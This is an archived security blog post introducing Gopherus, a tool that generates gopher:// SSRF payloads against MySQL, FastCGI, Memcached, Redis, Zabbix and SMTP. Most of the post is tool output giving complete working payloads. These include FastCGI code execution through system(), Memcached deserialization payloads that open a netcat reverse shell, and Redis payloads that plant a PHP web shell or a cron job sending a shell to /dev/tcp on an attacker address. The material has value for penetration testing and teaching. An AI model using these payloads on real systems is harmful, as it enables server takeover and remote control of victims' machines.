Blog on Gopherus Tool

Blog on Gopherus Tool - SpyD3r, SpyClub.

- Published: 2018-08-13
- Original: <https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/>
- Preserved from: https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/ (live) on 2026-08-09
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Content

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Hey Everyone, I am writing this blog on my tool Gopherus

What this tool do exactly?

Generates Gopher payload for exploiting SSRF and gaining RCE, on SSRF vulnerable sites. I've written this tool for MySQL, FastCGI, Memcached, Redis, Zabbix, SMTP servers. So here we will talk about all sever with his exploitation technique in details separately.

Explanation of each attack:

MySQL

As I automated this before here. Now I only need to upgrade it. So now it has additional features like, now it won't ask for MySQL packets as earlier one does, here it will directly ask Username and will create Gopher payload for doing SSRF. And I have written a blog on the same describing my python script here

```
~ » gopherus --exploit mysql                                                                                spyd3r@bi0s

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                author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: SSRF
Give query to execute: show databases;

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%53%53%52%46%00%0
0%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%6
2%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%0
6%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%0
1

-----------Made-by-SpyD3r-----------
```

FastCGI

If the port 9000 is open then this vulnerability can exist and it can lead to RCE, only you need to send some data as you can see in the python script. For exploiting it only you need to provide a filename which must exist on the victim system(preferable .php) BTW I have put one default file named `/usr/share/php/PEAR.php` and then one terminal command to execute in the victim system. And then you done, you will get gopher payload which will do the rest.

```
~ » gopherus --exploit fastcgi                                                                              spyd3r@bi0s

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                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:
Terminal command to run:  ls

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMO
TE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functio
ns%20%3D%20%0Auto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00
%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------
```

Memcached

It uses the port 11211 for communication. We mainly use Memcached for storing serialized data but when it comes to De-serialize these data then known vulnerability such as PHP De-serialization issue, Python-Pickle De-serialization issue, Ruby-Marshal De-serialization issue comes into picture which can lead to RCE. So for each of them, I made script separately and one script for dumping the contents of Memcached.

```
~ » gopherus --exploit pymemcache                                                    spyd3r@bi0s

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  /   |   \ /    \ /  ___//  ___/  |\___ \_  __ \  |  \/ ___/
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 \____|__  /___|  /____  >____  >__|(____  /__|  |____//____  >
         \/     \/     \/     \/        \/                  \/

                 author: $_SpyD3r_$

Ready to Get Reverse SHELL

Give server IP you want to connect (default is 127.0.0.1): 192.168.0.1

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%201%2060%20121%0d%0acposix%0Asystem%0Ap1%0A%28S%27rm%20-f%20/tmp/f%3B%20mkfifo%20/tmp/f%3Bcat%20/tmp/f%20
%7C%20/bin/sh%20-i%202%3E%261%20%7C%20nc%20-l%20192.168.0.1%201234%20%3E%20/tmp/f%27%0Ap2%0AtRp3%0A.%0d%0a

Then You can connect it with : nc 192.168.0.1 1234

After everything done, you can delete memcached item by using this payload:

gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a

-----------Made-by-SpyD3r-----------
```

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```
~ » gopherus --exploit rbmemcache                                                    spyd3r@bi0s

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  \      \   ____   ______ ___|__|___________ __ __  ______
  /   |   \ /    \ /  ___//  ___/  |\___ \_  __ \  |  \/ ___/
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         \/     \/     \/     \/        \/                  \/

                 author: $_SpyD3r_$

Ready to Get Reverse SHELL

Give server IP you want to connect (default is 127.0.0.1): 192.168.0.1

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%2060%20284%0d%0a%04%08o:%40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy%09:%0E%40insta
nceo:%08ERB%06:%09%40srcI%22d%x%28rm%20-f%20/tmp/f%3B%20mkfifo%20/tmp/f%3Bcat%20/tmp/f%20%7C%20/bin/sh%20-i%202%3E%261%20%7C%20nc%20-l%20192.168.0.1%2
01234%20%3E%20/tmp/f%29%3B%06:%06ET:%0C%40method:%0Bresult:%09%40varI%22%0C%40result%06%3B%09T:%10%40deprecatoro:%1FActiveSupport::Deprecation%06:%0E%
40silencedT%0d%0a

Then You can connect it with : nc 192.168.0.1 1234

After everything done, you can delete memcached item by using this payload:

gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a

-----------Made-by-SpyD3r-----------
```

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```
~ » gopherus --exploit phpmemcache                                                   spyd3r@bi0s

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  \      \   ____   ______ ___|__|___________ __ __  ______
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 /    |    \   |  \\___ \ \___ \|  | \/ __ \|  | \/  |  /\___ \
 \____|__  /___|  /____  >____  >__|(____  /__|  |____//____  >
         \/     \/     \/     \/        \/                  \/

                 author: $_SpyD3r_$

This is usable when you know Class and Variable name used by user

Give serialization payload
example: O:5:"Hello":0:{}   : O:5:"Hello":0:{}

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%2016%0d%0aO:5:%22Hello%22:0:%7B%7D%0d%0a

After everything done, you can delete memcached item by using this payload:

gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a

-----------Made-by-SpyD3r-----------
```

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```
~ » gopherus --exploit dmpmemcache                                                    spyd3r@bi0s

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/  \ ___ /  _ \\____ \|  |  \_/ __ \_  __ \_/ __ \|  |\/  ___/
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 \_____  /\____/|   __/|___|  /\___  >__|  |____//____  >
       \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give payload you want to run in Memcached Server: stats

Your gopher link is ready to dump Memcache :

gopher://127.0.0.1:11211/_%0d%0astats%0d%0a

-----------Made-by-SpyD3r-----------
```

Redis

It uses the port 6379, and when this port is open it allows us to over-write the files in the system, so in the way of exploiting it, what we will do is, we will write one cronjob for opening a port with shell, so that when we will connect to victim server we will get victim's shell. Also, we can write one PHP shell file and will put into the web-root location. So tool will ask you the location of crontab(differs as OS changes) of the victim and when you wanted PHP shell then it will also ask you payload to put in shell file BTW we have put PHP shell code as default.

1 / 2

```
~ » gopherus --exploit redis                                                          spyd3r@bi0s

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       \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): phpshell

Give web root location of server (default is /var/www/html): /usr/share/nginx/html
Give PHP Payload (We have default PHP Shell): <?php echo "Pwned by SpyD3r"; ?>

Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%20%20%20%20%248%0D%0A%20%20%20%20flushall%0D%0A%20%20%20%20%2A3%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20set%0D%0A%2
0%20%20%20%241%0D%0A%20%20%20%201%0D%0A%20%20%20%2436%0D%0A%0A%0A%20%20%20%3C%3Fphp%20echo%20%22Pwned%20by%20SpyD3r%22%3B%20%3F%3E%0A%0A%20%20%2
0%20%0D%0A%20%20%20%20%2A4%0D%0A%20%20%20%20%246%0D%0A%20%20%20%20config%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20set%0D%0A%20%20%20%20%243%0D%0A%20%20%
20%20dir%0D%0A%20%20%20%20%2421%0D%0A%20%20%20%20/usr/share/nginx/html%0D%0A%20%20%20%20%2A4%0D%0A%20%20%20%20%246%0D%0A%20%20%20%20config%0D%0A%20%20
%20%20%243%0D%0A%20%20%20%20set%0D%0A%20%20%20%20%2410%0D%0A%20%20%20%20dbfilename%0D%0A%20%20%20%20%249%0D%0A%20%20%20%20shell.php%0D%0A%20%20%20%20%
2A1%0D%0A%20%20%20%20%244%0D%0A%20%20%20%20save%0D%0A%0A%20%20%20%20

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.

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```

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```
~ » gopherus --exploit redis                                                                spyd3r@bi0s

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 \    \_\  (  <_> )  |_> >   Y  \  ___/|  |\/|  /\___ \
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        \/       |__|        \/     \/                 \/

                 author: $_SpyD3r_$

Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): Reverseshell

Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 192.168.0.1
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis : /var/lib/redis/

Your gopher link is ready to get Reverse Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%20%20%20%20%248%0D%0A%20%20%20%20flushall%0D%0A%20%20%20%20%2A3%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20set%0D%0A%2
0%20%20%20%241%0D%0A%20%20%20%201%0D%0A%20%20%20%20%2466%0D%0A%0A%0A%20%20%20%20%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev
/tcp/192.168.0.1/1234%200%3E%261%22%0A%0A%0A%20%20%20%20%0D%0A%20%20%20%20%2A4%0D%0A%20%20%20%20%246%0D%0A%20%20%20%20config%0D%0A%20%20%20%20%243%0D%
0A%20%20%20%20set%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20dir%0D%0A%20%20%20%20%2415%0D%0A%20%20%20%20/var/lib/redis/%0D%0A%20%20%20%20%2A4%0D%0A%20%20
%20%20%20%246%0D%0A%20%20%20%20config%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20set%0D%0A%20%20%20%20%2410%0D%0A%20%20%20%20dbfilename%0D%0A%20%20%20%20%244
%0D%0A%20%20%20%20root%0D%0A%20%20%20%20%2A1%0D%0A%20%20%20%20%244%0D%0A%20%20%20%20save%0D%0A%0A%20%20%20%20

Before sending request plz do `nc -lvp 1234`

-----------Made-by-SpyD3r-----------
```

Zabbix

It uses the port 10050. Here you can get SSRF or RCE when the victim had allowed `EnableRemoteCommands = 1`. So the script will create a gopher link which will communicate with the Zabbix server and give you the result.

```
~ » gopherus --exploit zabbix                                                               spyd3r@bi0s

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 \    \_\  (  <_> )  |_> >   Y  \  ___/|  |\/|  /\___ \
  \_____  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                 author: $_SpyD3r_$

Execute SHELL command:

Enter Shell Command to Execute: ls

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:10050/_system.run%5B%28ls%29%3Bsleep%202s%5D

-----------Made-by-SpyD3r-----------
```

SMTP

SMTP server uses port 25 for sending mails, So as for SSRF we can send mail to anyone as a victim user and the generated gopher payload will do the same.

Usage

You can get Usage and screenshots here

I hope you found it a nice article.

Archived from https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/. Rendered offline from the local Markdown copy.